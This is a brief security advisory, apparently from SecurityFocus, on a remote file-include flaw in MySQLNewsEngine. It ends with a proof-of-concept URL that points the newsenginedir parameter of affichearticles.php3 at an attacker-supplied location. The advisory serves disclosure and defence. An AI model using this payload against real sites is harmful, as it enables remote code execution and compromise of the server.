source: https://www.securityfocus.com/bid/22431/info

MySQLNewsEngine is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/affichearticles.php3?newsenginedir=[attacker]